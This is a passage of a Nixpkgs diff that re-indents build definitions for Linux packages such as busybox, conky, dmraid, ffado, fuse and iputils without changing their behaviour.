+  patches = [
+    ./kernel-5.18-pci_free_consistent-pci_alloc_consistent.patch
+    ./kernel-6.1-set_termios-const-ktermios.patch
+  ]
+  ++ lib.optionals (lib.versionAtLeast kernel.version "6.2") [
+    ./kernel-6.2-fix-pointer-type.patch
+    ./kernel-6.4-fix-define-semaphore.patch
+  ];
 
   patchFlags = [ "-p0" ];
 
diff --git a/pkgs/os-specific/linux/bionic-prebuilt/default.nix b/pkgs/os-specific/linux/bionic-prebuilt/default.nix
index be53b12a42ce..9830f07266fd 100644
--- a/pkgs/os-specific/linux/bionic-prebuilt/default.nix
+++ b/pkgs/os-specific/linux/bionic-prebuilt/default.nix
@@ -97,54 +97,53 @@ stdenvNoCC.mkDerivation rec {
       "!defined(BIONIC_IOCTL_NO_SIGNEDNESS_OVERLOAD)" "0"
   '';
 
-  installPhase =
-    ''
-      # copy the bionic headers
-      mkdir -p $out/include/support $out/include/android
-      cp -vr libc/include/* $out/include
-      # copy the kernel headers
-      cp -vr ${kernelHeaders}/include/*  $out/include/
+  installPhase = ''
+    # copy the bionic headers
+    mkdir -p $out/include/support $out/include/android
+    cp -vr libc/include/* $out/include
+    # copy the kernel headers
+    cp -vr ${kernelHeaders}/include/*  $out/include/
 
-      chmod -R +w $out/include/linux
+    chmod -R +w $out/include/linux
 
-      # fix a bunch of kernel headers so that things can actually be found
-      sed -i 's,struct epoll_event {,#include <bits/epoll_event.h>\nstruct Xepoll_event {,' $out/include/linux/eventpoll.h
-      sed -i 's,struct in_addr {,typedef unsigned int in_addr_t;\nstruct in_addr {,' $out/include/linux/in.h
-      sed -i 's,struct udphdr {,struct Xudphdr {,' $out/include/linux/udp.h
-      sed -i 's,union semun {,union Xsemun {,' $out/include/linux/sem.h
-      sed -i 's,struct __kernel_sockaddr_storage,#define sockaddr_storage __kernel_sockaddr_storage\nstruct __kernel_sockaddr_storage,' $out/include/linux/socket.h
-      sed -i 's,#ifndef __UAPI_DEF_.*$,#if 1,' $out/include/linux/libc-compat.h
-      substituteInPlace $out/include/linux/in.h --replace "__be32		imr_" "struct in_addr		imr_"
-      substituteInPlace $out/include/linux/in.h --replace "__be32		imsf_" "struct in_addr		imsf_"
-      substituteInPlace $out/include/linux/sysctl.h --replace "__unused" "_unused"
+    # fix a bunch of kernel headers so that things can actually be found
+    sed -i 's,struct epoll_event {,#include <bits/epoll_event.h>\nstruct Xepoll_event {,' $out/include/linux/eventpoll.h
+    sed -i 's,struct in_addr {,typedef unsigned int in_addr_t;\nstruct in_addr {,' $out/include/linux/in.h
+    sed -i 's,struct udphdr {,struct Xudphdr {,' $out/include/linux/udp.h
+    sed -i 's,union semun {,union Xsemun {,' $out/include/linux/sem.h
+    sed -i 's,struct __kernel_sockaddr_storage,#define sockaddr_storage __kernel_sockaddr_storage\nstruct __kernel_sockaddr_storage,' $out/include/linux/socket.h
+    sed -i 's,#ifndef __UAPI_DEF_.*$,#if 1,' $out/include/linux/libc-compat.h
+    substituteInPlace $out/include/linux/in.h --replace "__be32		imr_" "struct in_addr		imr_"
+    substituteInPlace $out/include/linux/in.h --replace "__be32		imsf_" "struct in_addr		imsf_"
+    substituteInPlace $out/include/linux/sysctl.h --replace "__unused" "_unused"
 
-      # what could possibly live in <linux/compiler.h>
-      touch $out/include/linux/compiler.h
+    # what could possibly live in <linux/compiler.h>
+    touch $out/include/linux/compiler.h
 
-      # copy the support headers
-      cp -vr ${ndk_support_headers}* $out/include/support/
+    # copy the support headers
+    cp -vr ${ndk_support_headers}* $out/include/support/
 
-      mkdir $out/lib
-      cp -v ${prebuilt_crt.out}/*.o $out/lib/
-      cp -v ${prebuilt_crt.out}/libgcc.a $out/lib/
-      cp -v ${prebuilt_ndk_crt.out}/*.o $out/lib/
-    ''
-    + lib.optionalString enableShared ''
-      for i in libc.so libm.so libdl.so liblog.so; do
-        cp -v ${prebuilt_libs.out}/$i $out/lib/
-      done
-    ''
-    + lib.optionalString enableStatic ''
-      # no liblog.a; while it's also part of the base libraries,
-      # it's only available as shared object in the prebuilts.
-      for i in libc.a libm.a libdl.a; do
-        cp -v ${prebuilt_ndk_crt.out}/$i $out/lib/
-      done
-    ''
-    + ''
-      mkdir -p $dev/include
-      cp -v $out/include/*.h $dev/include/
-    '';
+    mkdir $out/lib
+    cp -v ${prebuilt_crt.out}/*.o $out/lib/
+    cp -v ${prebuilt_crt.out}/libgcc.a $out/lib/
+    cp -v ${prebuilt_ndk_crt.out}/*.o $out/lib/
+  ''
+  + lib.optionalString enableShared ''
+    for i in libc.so libm.so libdl.so liblog.so; do
+      cp -v ${prebuilt_libs.out}/$i $out/lib/
+    done
+  ''
+  + lib.optionalString enableStatic ''
+    # no liblog.a; while it's also part of the base libraries,
+    # it's only available as shared object in the prebuilts.
+    for i in libc.a libm.a libdl.a; do
+      cp -v ${prebuilt_ndk_crt.out}/$i $out/lib/
+    done
+  ''
+  + ''
+    mkdir -p $dev/include
+    cp -v $out/include/*.h $dev/include/
+  '';
 
   outputs = [
     "out"
diff --git a/pkgs/os-specific/linux/busybox/default.nix b/pkgs/os-specific/linux/busybox/default.nix
index 1795b712ef38..ef7b545ed548 100644
--- a/pkgs/os-specific/linux/busybox/default.nix
+++ b/pkgs/os-specific/linux/busybox/default.nix
@@ -70,7 +70,8 @@ stdenv.mkDerivation rec {
   hardeningDisable = [
     "format"
     "pie"
-  ] ++ lib.optionals enableStatic [ "fortify" ];
+  ]
+  ++ lib.optionals enableStatic [ "fortify" ];
 
   patches = [
     ./busybox-in-store.patch
@@ -105,7 +106,8 @@ stdenv.mkDerivation rec {
       url = "https://git.alpinelinux.org/aports/plain/main/busybox/CVE-2023-42364-CVE-2023-42365.patch?id=8a4bf5971168bf48201c05afda7bee0fbb188e13";
       hash = "sha256-nQPgT9eA1asCo38Z9X7LR9My0+Vz5YBPba3ARV3fWcc=";
     })
-  ] ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) ./clang-cross.patch;
+  ]
+  ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) ./clang-cross.patch;
 
   separateDebugInfo = true;
 
diff --git a/pkgs/os-specific/linux/conky/default.nix b/pkgs/os-specific/linux/conky/default.nix
index 63ad87c6a1fa..bfc1a6cf8de8 100644
--- a/pkgs/os-specific/linux/conky/default.nix
+++ b/pkgs/os-specific/linux/conky/default.nix
@@ -123,53 +123,51 @@ stdenv.mkDerivation rec {
     NIX_LDFLAGS = "-lgcc_s";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals docsSupport [
-      docbook2x
-      docbook_xsl
-      docbook_xml_dtd_44
-      libxslt
-      man
-      less
-    ]
-    ++ lib.optional waylandSupport wayland-scanner
-    ++ lib.optional luaImlib2Support toluapp
-    ++ lib.optional luaCairoSupport toluapp;
-  buildInputs =
-    [
-      glib
-      libXinerama
-    ]
-    ++ lib.optional ncursesSupport ncurses
-    ++ lib.optionals x11Support [
-      freetype
-      xorg.libICE
-      xorg.libX11
-      xorg.libXext
-      xorg.libXft
-      xorg.libSM
-    ]
-    ++ lib.optionals waylandSupport [
-      pango
-      wayland
-      wayland-protocols
-    ]
-    ++ lib.optional xdamageSupport libXdamage
-    ++ lib.optional imlib2Support imlib2
-    ++ lib.optional luaSupport lua
-    ++ lib.optional luaImlib2Support imlib2
-    ++ lib.optional luaCairoSupport cairo
-    ++ lib.optional wirelessSupport wirelesstools
-    ++ lib.optional curlSupport curl
-    ++ lib.optional rssSupport libxml2
-    ++ lib.optional weatherXoapSupport libxml2
-    ++ lib.optional nvidiaSupport libXNVCtrl
-    ++ lib.optional pulseSupport libpulseaudio
-    ++ lib.optional journalSupport systemd;
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals docsSupport [
+    docbook2x
+    docbook_xsl
+    docbook_xml_dtd_44
+    libxslt
+    man
+    less
+  ]
+  ++ lib.optional waylandSupport wayland-scanner
+  ++ lib.optional luaImlib2Support toluapp
+  ++ lib.optional luaCairoSupport toluapp;
+  buildInputs = [
+    glib
+    libXinerama
+  ]
+  ++ lib.optional ncursesSupport ncurses
+  ++ lib.optionals x11Support [
+    freetype
+    xorg.libICE
+    xorg.libX11
+    xorg.libXext
+    xorg.libXft
+    xorg.libSM
+  ]
+  ++ lib.optionals waylandSupport [
+    pango
+    wayland
+    wayland-protocols
+  ]
+  ++ lib.optional xdamageSupport libXdamage
+  ++ lib.optional imlib2Support imlib2
+  ++ lib.optional luaSupport lua
+  ++ lib.optional luaImlib2Support imlib2
+  ++ lib.optional luaCairoSupport cairo
+  ++ lib.optional wirelessSupport wirelesstools
+  ++ lib.optional curlSupport curl
+  ++ lib.optional rssSupport libxml2
+  ++ lib.optional weatherXoapSupport libxml2
+  ++ lib.optional nvidiaSupport libXNVCtrl
+  ++ lib.optional pulseSupport libpulseaudio
+  ++ lib.optional journalSupport systemd;
 
   cmakeFlags =
     [ ]
diff --git a/pkgs/os-specific/linux/corefreq/default.nix b/pkgs/os-specific/linux/corefreq/default.nix
index 3f69b46b76bd..d5fad8b6a70d 100644
--- a/pkgs/os-specific/linux/corefreq/default.nix
+++ b/pkgs/os-specific/linux/corefreq/default.nix
@@ -25,7 +25,8 @@ stdenv.mkDerivation rec {
   makeFlags = [
     "KERNELDIR=${kernel.dev}/lib/modules/${kernel.modDirVersion}/build"
     "INSTALL_MOD_PATH=$(out)"
-  ] ++ extraFlags;
+  ]
+  ++ extraFlags;
 
   preInstall = ''
     mkdir -p $out/bin
diff --git a/pkgs/os-specific/linux/dmraid/default.nix b/pkgs/os-specific/linux/dmraid/default.nix
index 78ccf00831e4..18874fa3b7a2 100644
--- a/pkgs/os-specific/linux/dmraid/default.nix
+++ b/pkgs/os-specific/linux/dmraid/default.nix
@@ -15,33 +15,31 @@ stdenv.mkDerivation rec {
     sha256 = "0m92971gyqp61darxbiri6a48jz3wq3gkp8r2k39320z0i6w8jgq";
   };
 
-  patches =
-    [
-      ./hardening-format.patch
-      ./fix-dmevent_tool.patch
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isMusl [
-      (fetchpatch {
-        url = "https://raw.githubusercontent.com/void-linux/void-packages/fceed4b8e96b3c1da07babf6f67b6ed1588a28b2/srcpkgs/dmraid/patches/006-musl-libc.patch";
-        sha256 = "1j8xda0fpz8lxjxnqdidy7qb866qrzwpbca56yjdg6vf4x21hx6w";
-        stripLen = 2;
-        extraPrefix = "1.0.0.rc16/";
-      })
-      (fetchpatch {
-        url = "https://raw.githubusercontent.com/void-linux/void-packages/fceed4b8e96b3c1da07babf6f67b6ed1588a28b2/srcpkgs/dmraid/patches/007-fix-loff_t-musl.patch";
-        sha256 = "0msnq39qnzg3b1pdksnz1dgqwa3ak03g41pqh0lw3h7w5rjc016k";
-        stripLen = 2;
-        extraPrefix = "1.0.0.rc16/";
-      })
-    ];
+  patches = [
+    ./hardening-format.patch
+    ./fix-dmevent_tool.patch
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isMusl [
+    (fetchpatch {
+      url = "https://raw.githubusercontent.com/void-linux/void-packages/fceed4b8e96b3c1da07babf6f67b6ed1588a28b2/srcpkgs/dmraid/patches/006-musl-libc.patch";
+      sha256 = "1j8xda0fpz8lxjxnqdidy7qb866qrzwpbca56yjdg6vf4x21hx6w";
+      stripLen = 2;
+      extraPrefix = "1.0.0.rc16/";
+    })
+    (fetchpatch {
+      url = "https://raw.githubusercontent.com/void-linux/void-packages/fceed4b8e96b3c1da07babf6f67b6ed1588a28b2/srcpkgs/dmraid/patches/007-fix-loff_t-musl.patch";
+      sha256 = "0msnq39qnzg3b1pdksnz1dgqwa3ak03g41pqh0lw3h7w5rjc016k";
+      stripLen = 2;
+      extraPrefix = "1.0.0.rc16/";
+    })
+  ];
 
-  postPatch =
-    ''
-      sed -i 's/\[\[[^]]*\]\]/[ "''$''${n##*.}" = "so" ]/' */lib/Makefile.in
-    ''
-    + lib.optionalString stdenv.hostPlatform.isMusl ''
-      NIX_CFLAGS_COMPILE+=" -D_GNU_SOURCE"
-    '';
+  postPatch = ''
+    sed -i 's/\[\[[^]]*\]\]/[ "''$''${n##*.}" = "so" ]/' */lib/Makefile.in
+  ''
+  + lib.optionalString stdenv.hostPlatform.isMusl ''
+    NIX_CFLAGS_COMPILE+=" -D_GNU_SOURCE"
+  '';
 
   preConfigure = "cd */";
 
diff --git a/pkgs/os-specific/linux/drbd/utils.nix b/pkgs/os-specific/linux/drbd/utils.nix
index 408412481ac7..ab654b40aeb5 100644
--- a/pkgs/os-specific/linux/drbd/utils.nix
+++ b/pkgs/os-specific/linux/drbd/utils.nix
@@ -56,7 +56,8 @@ stdenv.mkDerivation rec {
   makeFlags = [
     "SOURCE_DATE_EPOCH=1"
     "WANT_DRBD_REPRODUCIBLE_BUILD=1"
-  ] ++ lib.optional (!forOCF) "OCF_ROOT=${ocf-resource-agents}/usr/lib/ocf}";
+  ]
+  ++ lib.optional (!forOCF) "OCF_ROOT=${ocf-resource-agents}/usr/lib/ocf}";
 
   installFlags = [
     "prefix="
diff --git a/pkgs/os-specific/linux/exfat/default.nix b/pkgs/os-specific/linux/exfat/default.nix
index d3af00569583..8f7813ac2a8c 100644
--- a/pkgs/os-specific/linux/exfat/default.nix
+++ b/pkgs/os-specific/linux/exfat/default.nix
@@ -20,14 +20,13 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = kernel.moduleBuildDependencies;
 
-  makeFlags =
-    [
-      "KDIR=${kernel.dev}/lib/modules/${kernel.modDirVersion}/build"
-      "ARCH=${stdenv.hostPlatform.linuxArch}"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
-    ];
+  makeFlags = [
+    "KDIR=${kernel.dev}/lib/modules/${kernel.modDirVersion}/build"
+    "ARCH=${stdenv.hostPlatform.linuxArch}"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
+  ];
 
   installPhase = ''
     install -m644 -b -D exfat.ko $out/lib/modules/${kernel.modDirVersion}/kernel/fs/exfat/exfat.ko
diff --git a/pkgs/os-specific/linux/ffado/default.nix b/pkgs/os-specific/linux/ffado/default.nix
index 9f41411b2ab6..488a2f20c6c9 100644
--- a/pkgs/os-specific/linux/ffado/default.nix
+++ b/pkgs/os-specific/linux/ffado/default.nix
@@ -49,36 +49,34 @@ stdenv.mkDerivation rec {
     hash = "sha256-xELFL60Ryv1VE7tOhGyFHxAchIT4karFRe0ZDo/U0Q8=";
   };
 
-  prePatch =
-    ''
-      substituteInPlace ./support/tools/ffado-diag.in \
-        --replace /lib/modules/ "/run/booted-system/kernel-modules/lib/modules/"
+  prePatch = ''
+    substituteInPlace ./support/tools/ffado-diag.in \
+      --replace /lib/modules/ "/run/booted-system/kernel-modules/lib/modules/"
 
-      # prevent build tools from leaking into closure
-      substituteInPlace support/tools/SConscript --replace-fail \
-        'support/tools/ffado-diag --static' \
-        "echo '"'See `nix-store --query --tree ${placeholder "out"}`.'"'"
-    ''
-    + lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      # skip the CC sanity check, since that requires invoking cross-compiled binaries during build
-      substituteInPlace SConstruct \
-        --replace-fail 'conf.CompilerCheck()' 'True' \
-        --replace-fail "pkg-config" "$PKG_CONFIG"
-      substituteInPlace admin/pkgconfig.py \
-        --replace-fail "pkg-config" "$PKG_CONFIG"
-    '';
+    # prevent build tools from leaking into closure
+    substituteInPlace support/tools/SConscript --replace-fail \
+      'support/tools/ffado-diag --static' \
+      "echo '"'See `nix-store --query --tree ${placeholder "out"}`.'"'"
+  ''
+  + lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    # skip the CC sanity check, since that requires invoking cross-compiled binaries during build
+    substituteInPlace SConstruct \
+      --replace-fail 'conf.CompilerCheck()' 'True' \
+      --replace-fail "pkg-config" "$PKG_CONFIG"
+    substituteInPlace admin/pkgconfig.py \
+      --replace-fail "pkg-config" "$PKG_CONFIG"
+  '';
 
-  nativeBuildInputs =
-    [
-      scons
-      pkg-config
-      which
-    ]
-    ++ lib.optionals withMixer [
-      python
-      python.pkgs.pyqt5
-      qt5.wrapQtAppsHook
-    ];
+  nativeBuildInputs = [
+    scons
+    pkg-config
+    which
+  ]
+  ++ lib.optionals withMixer [
+    python
+    python.pkgs.pyqt5
+    qt5.wrapQtAppsHook
+  ];
 
   prefixKey = "PREFIX=";
   sconsFlags = [
@@ -95,21 +93,20 @@ stdenv.mkDerivation rec {
     "PYTHON_INTERPRETER=${python.interpreter}"
   ];
 
-  buildInputs =
-    [
-      dbus
-      dbus_cplusplus
-      glibmm
-      libavc1394
-      libconfig
-      libiec61883
-      libraw1394
-      libxmlxx3
-      python
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isGnu) [
-      argp-standalone
-    ];
+  buildInputs = [
+    dbus
+    dbus_cplusplus
+    glibmm
+    libavc1394
+    libconfig
+    libiec61883
+    libraw1394
+    libxmlxx3
+    python
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isGnu) [
+    argp-standalone
+  ];
 
   NIX_LDFLAGS = lib.optionalString (!stdenv.hostPlatform.isGnu) "-largp";
 
diff --git a/pkgs/os-specific/linux/firmware/ath9k/default.nix b/pkgs/os-specific/linux/firmware/ath9k/default.nix
index 87448530fb11..96a55187ecc5 100644
--- a/pkgs/os-specific/linux/firmware/ath9k/default.nix
+++ b/pkgs/os-specific/linux/firmware/ath9k/default.nix
@@ -113,33 +113,32 @@ stdenv.mkDerivation (finalAttrs: {
     '';
     update = stdenv.mkDerivation {
       name = "${finalAttrs.pname}-${finalAttrs.version}-update";
-      shellHook =
-        ''
-          echo 'rec {'
-          echo '  BASEDIR="$NIX_BUILD_TOP";'
-          make --dry-run --print-data-base -f ${finalAttrs.src}/Makefile download \
-            | egrep    '^[A-Z]+_(VER|URL|SUM|DIR) = ' \
-            | sed 's_\([^ ]*\) = \(.*\)_\1 = "\2\";_' \
-            | tr \( \{ \
-            | tr \) \}
-        ''
-        # sha256 checksums were not added to upstream's Makefile until
-        # after the 1.4.0 release.  The following line is needed for
-        # the `enableUnstable==false` build but not for the
-        # `enableUnstable==true` build.  We can remove the lines below
-        # as soon as `enableUnstable==false` points to a version
-        # greater than 1.4.0.
-        + lib.optionalString (finalAttrs.version == "1.4.0") ''
-          echo 'GCC_SUM = "sha256-kuYcbcOgpEnmLXKjgYX9pVAWioZwLeoHEl69PsOZYoI=";'
-          echo 'MPFR_SUM = "sha256-e2bD8T3IOF8IJkyAWFPz4aju2rgHHVgvPmYZccms1f0=";'
-          echo 'MPC_SUM = "sha256-7VqBXP6lJdx3jfDLN0aLnBtVSq8w2TKLFDHKcFt0AP8=";'
-          echo 'GMP_SUM = "sha256-H1iKrMxBu5rtlG+f44Uhwm2LKQ0APF34B/ZWkPKq3sk=";'
-          echo 'BINUTILS_SUM = "sha256-KrLlsD4IbRLGKV+DGtrUaz4UEKOiNJM6Lo+sZssuehk=";'
-        ''
-        + ''
-          echo '}'
-          exit
-        '';
+      shellHook = ''
+        echo 'rec {'
+        echo '  BASEDIR="$NIX_BUILD_TOP";'
+        make --dry-run --print-data-base -f ${finalAttrs.src}/Makefile download \
+          | egrep    '^[A-Z]+_(VER|URL|SUM|DIR) = ' \
+          | sed 's_\([^ ]*\) = \(.*\)_\1 = "\2\";_' \
+          | tr \( \{ \
+          | tr \) \}
+      ''
+      # sha256 checksums were not added to upstream's Makefile until
+      # after the 1.4.0 release.  The following line is needed for
+      # the `enableUnstable==false` build but not for the
+      # `enableUnstable==true` build.  We can remove the lines below
+      # as soon as `enableUnstable==false` points to a version
+      # greater than 1.4.0.
+      + lib.optionalString (finalAttrs.version == "1.4.0") ''
+        echo 'GCC_SUM = "sha256-kuYcbcOgpEnmLXKjgYX9pVAWioZwLeoHEl69PsOZYoI=";'
+        echo 'MPFR_SUM = "sha256-e2bD8T3IOF8IJkyAWFPz4aju2rgHHVgvPmYZccms1f0=";'
+        echo 'MPC_SUM = "sha256-7VqBXP6lJdx3jfDLN0aLnBtVSq8w2TKLFDHKcFt0AP8=";'
+        echo 'GMP_SUM = "sha256-H1iKrMxBu5rtlG+f44Uhwm2LKQ0APF34B/ZWkPKq3sk=";'
+        echo 'BINUTILS_SUM = "sha256-KrLlsD4IbRLGKV+DGtrUaz4UEKOiNJM6Lo+sZssuehk=";'
+      ''
+      + ''
+        echo '}'
+        exit
+      '';
     };
   };
 
diff --git a/pkgs/os-specific/linux/firmware/raspberrypi/armstubs.nix b/pkgs/os-specific/linux/firmware/raspberrypi/armstubs.nix
index ec5ec8ef98c2..b602c7532481 100644
--- a/pkgs/os-specific/linux/firmware/raspberrypi/armstubs.nix
+++ b/pkgs/os-specific/linux/firmware/raspberrypi/armstubs.nix
@@ -26,26 +26,25 @@ stdenv.mkDerivation {
     cd armstubs
   '';
 
-  makeFlags =
-    [
-      "CC8=${stdenv.cc.targetPrefix}cc"
-      "LD8=${stdenv.cc.targetPrefix}ld"
-      "OBJCOPY8=${stdenv.cc.targetPrefix}objcopy"
-      "OBJDUMP8=${stdenv.cc.targetPrefix}objdump"
-      "CC7=${stdenv.cc.targetPrefix}cc"
-      "LD7=${stdenv.cc.targetPrefix}ld"
-      "OBJCOPY7=${stdenv.cc.targetPrefix}objcopy"
-      "OBJDUMP7=${stdenv.cc.targetPrefix}objdump"
-    ]
-    ++ optionals (stdenv.hostPlatform.isAarch64) [
-      "armstub8.bin"
-      "armstub8-gic.bin"
-    ]
-    ++ optionals (stdenv.hostPlatform.isAarch32) [
-      "armstub7.bin"
-      "armstub8-32.bin"
-      "armstub8-32-gic.bin"
-    ];
+  makeFlags = [
+    "CC8=${stdenv.cc.targetPrefix}cc"
+    "LD8=${stdenv.cc.targetPrefix}ld"
+    "OBJCOPY8=${stdenv.cc.targetPrefix}objcopy"
+    "OBJDUMP8=${stdenv.cc.targetPrefix}objdump"
+    "CC7=${stdenv.cc.targetPrefix}cc"
+    "LD7=${stdenv.cc.targetPrefix}ld"
+    "OBJCOPY7=${stdenv.cc.targetPrefix}objcopy"
+    "OBJDUMP7=${stdenv.cc.targetPrefix}objdump"
+  ]
+  ++ optionals (stdenv.hostPlatform.isAarch64) [
+    "armstub8.bin"
+    "armstub8-gic.bin"
+  ]
+  ++ optionals (stdenv.hostPlatform.isAarch32) [
+    "armstub7.bin"
+    "armstub8-32.bin"
+    "armstub8-32-gic.bin"
+  ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/os-specific/linux/freeipa/default.nix b/pkgs/os-specific/linux/freeipa/default.nix
index b50e3f79e488..fba09bc4c2ca 100644
--- a/pkgs/os-specific/linux/freeipa/default.nix
+++ b/pkgs/os-specific/linux/freeipa/default.nix
@@ -122,7 +122,8 @@ stdenv.mkDerivation rec {
     bind
     libpwquality
     jansson
-  ] ++ pythonInputs;
+  ]
+  ++ pythonInputs;
 
   postPatch = ''
     patchShebangs makeapi makeaci install/ui/util
diff --git a/pkgs/os-specific/linux/fuse/common.nix b/pkgs/os-specific/linux/fuse/common.nix
index a2a9608fd35c..c65c7d371c58 100644
--- a/pkgs/os-specific/linux/fuse/common.nix
+++ b/pkgs/os-specific/linux/fuse/common.nix
@@ -72,7 +72,8 @@ stdenv.mkDerivation rec {
     "out"
     "dev"
     "man"
-  ] ++ lib.optional isFuse3 "udev";
+  ]
+  ++ lib.optional isFuse3 "udev";
 
   mesonFlags = lib.optionals isFuse3 [
     "-Dudevrulesdir=/udev/rules.d"
@@ -85,29 +86,28 @@ stdenv.mkDerivation rec {
   # $PATH, so it should also work on non-NixOS systems.
   env.NIX_CFLAGS_COMPILE = ''-DFUSERMOUNT_DIR="/run/wrappers/bin"'';
 
-  preConfigure =
-    ''
-      substituteInPlace lib/mount_util.c \
-        --replace-fail "/bin/mount" "${lib.getBin util-linux}/bin/mount" \
-        --replace-fail "/bin/umount" "${lib.getBin util-linux}/bin/umount"
-      substituteInPlace util/mount.fuse.c \
-        --replace-fail "/bin/sh" "${runtimeShell}"
-    ''
-    + lib.optionalString (!isFuse3) ''
-      export MOUNT_FUSE_PATH=$bin/bin
+  preConfigure = ''
+    substituteInPlace lib/mount_util.c \
+      --replace-fail "/bin/mount" "${lib.getBin util-linux}/bin/mount" \
+      --replace-fail "/bin/umount" "${lib.getBin util-linux}/bin/umount"
+    substituteInPlace util/mount.fuse.c \
+      --replace-fail "/bin/sh" "${runtimeShell}"
+  ''
+  + lib.optionalString (!isFuse3) ''
+    export MOUNT_FUSE_PATH=$bin/bin
 
-      # Do not install these files for fuse2 which are not useful for NixOS.
-      export INIT_D_PATH=$TMPDIR/etc/init.d
-      export UDEV_RULES_PATH=$TMPDIR/etc/udev/rules.d
+    # Do not install these files for fuse2 which are not useful for NixOS.
+    export INIT_D_PATH=$TMPDIR/etc/init.d
+    export UDEV_RULES_PATH=$TMPDIR/etc/udev/rules.d
 
-      # This is for `setuid=`, and needs root permission anyway.
-      # No need to use the SUID wrapper.
-      substituteInPlace util/mount.fuse.c \
-        --replace-fail '"su"' '"${lib.getBin shadow.su}/bin/su"'
-      substituteInPlace makeconf.sh \
-        --replace-fail 'CONFIG_RPATH=/usr/share/gettext/config.rpath' 'CONFIG_RPATH=${lib.getLib gettext}/share/gettext/config.rpath'
-      ./makeconf.sh
-    '';
+    # This is for `setuid=`, and needs root permission anyway.
+    # No need to use the SUID wrapper.
+    substituteInPlace util/mount.fuse.c \
+      --replace-fail '"su"' '"${lib.getBin shadow.su}/bin/su"'
+    substituteInPlace makeconf.sh \
+      --replace-fail 'CONFIG_RPATH=/usr/share/gettext/config.rpath' 'CONFIG_RPATH=${lib.getLib gettext}/share/gettext/config.rpath'
+    ./makeconf.sh
+  '';
 
   # v2: no tests, v3: all tests get skipped in a sandbox
   doCheck = false;
diff --git a/pkgs/os-specific/linux/guvcview/default.nix b/pkgs/os-specific/linux/guvcview/default.nix
index 3920ff0938cf..d5d16ff3066c 100644
--- a/pkgs/os-specific/linux/guvcview/default.nix
+++ b/pkgs/os-specific/linux/guvcview/default.nix
@@ -36,40 +36,37 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-0q3HznYpYehTw+FrURutYVBEktEvPi634w2kovet5a8=";
   };
 
-  nativeBuildInputs =
-    [
-      intltool
-      pkg-config
-      cmake
-    ]
-    ++ lib.optionals useGtk [ wrapGAppsHook3 ]
-    ++ lib.optionals useQt [ wrapQtAppsHook ];
+  nativeBuildInputs = [
+    intltool
+    pkg-config
+    cmake
+  ]
+  ++ lib.optionals useGtk [ wrapGAppsHook3 ]
+  ++ lib.optionals useQt [ wrapQtAppsHook ];
 
-  buildInputs =
-    [
-      SDL2
-      alsa-lib
-      ffmpeg
-      libusb1
-      libv4l
-      portaudio
-      udev
-      gsl
-      libpng
-      sfml_2
-    ]
-    ++ lib.optionals pulseaudioSupport [ libpulseaudio ]
-    ++ lib.optionals useGtk [ gtk3 ]
-    ++ lib.optionals useQt [
-      qtbase
-    ];
+  buildInputs = [
+    SDL2
+    alsa-lib
+    ffmpeg
+    libusb1
+    libv4l
+    portaudio
+    udev
+    gsl
+    libpng
+    sfml_2
+  ]
+  ++ lib.optionals pulseaudioSupport [ libpulseaudio ]
+  ++ lib.optionals useGtk [ gtk3 ]
+  ++ lib.optionals useQt [
+    qtbase
+  ];
 
-  configureFlags =
-    [
-      "--enable-sfml"
-    ]
-    ++ lib.optionals useGtk [ "--enable-gtk3" ]
-    ++ lib.optionals useQt [ "--enable-qt5" ];
+  configureFlags = [
+    "--enable-sfml"
+  ]
+  ++ lib.optionals useGtk [ "--enable-gtk3" ]
+  ++ lib.optionals useQt [ "--enable-qt5" ];
 
   meta = {
     description = "Simple interface for devices supported by the linux UVC driver";
diff --git a/pkgs/os-specific/linux/iptables/default.nix b/pkgs/os-specific/linux/iptables/default.nix
index b0737e3e8d6a..418ceae49ee3 100644
--- a/pkgs/os-specific/linux/iptables/default.nix
+++ b/pkgs/os-specific/linux/iptables/default.nix
@@ -53,7 +53,8 @@ stdenv.mkDerivation rec {
     "--enable-libipq"
     "--enable-nfsynproxy"
     "--enable-shared"
-  ] ++ lib.optional (!nftablesCompat) "--disable-nftables";
+  ]
+  ++ lib.optional (!nftablesCompat) "--disable-nftables";
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/os-specific/linux/iputils/default.nix b/pkgs/os-specific/linux/iputils/default.nix
index 41e35194e6c7..89298928883f 100644
--- a/pkgs/os-specific/linux/iputils/default.nix
+++ b/pkgs/os-specific/linux/iputils/default.nix
@@ -34,15 +34,14 @@ stdenv.mkDerivation rec {
   # /build/source/build/ping/ping: socket: Operation not permitted
   doCheck = false;
 
-  mesonFlags =
-    [
-      "-DNO_SETCAP_OR_SUID=true"
-      "-Dsystemdunitdir=etc/systemd/system"
-      "-DINSTALL_SYSTEMD_UNITS=true"
-      "-DSKIP_TESTS=${lib.boolToString (!doCheck)}"
-    ]
-    # Disable idn usage w/musl (https://github.com/iputils/iputils/pull/111):
-    ++ lib.optional stdenv.hostPlatform.isMusl "-DUSE_IDN=false";
+  mesonFlags = [
+    "-DNO_SETCAP_OR_SUID=true"
+    "-Dsystemdunitdir=etc/systemd/system"
+    "-DINSTALL_SYSTEMD_UNITS=true"
+    "-DSKIP_TESTS=${lib.boolToString (!doCheck)}"
+  ]
+  # Disable idn usage w/musl (https://github.com/iputils/iputils/pull/111):
+  ++ lib.optional stdenv.hostPlatform.isMusl "-DUSE_IDN=false";
 
   nativeBuildInputs = [
     meson
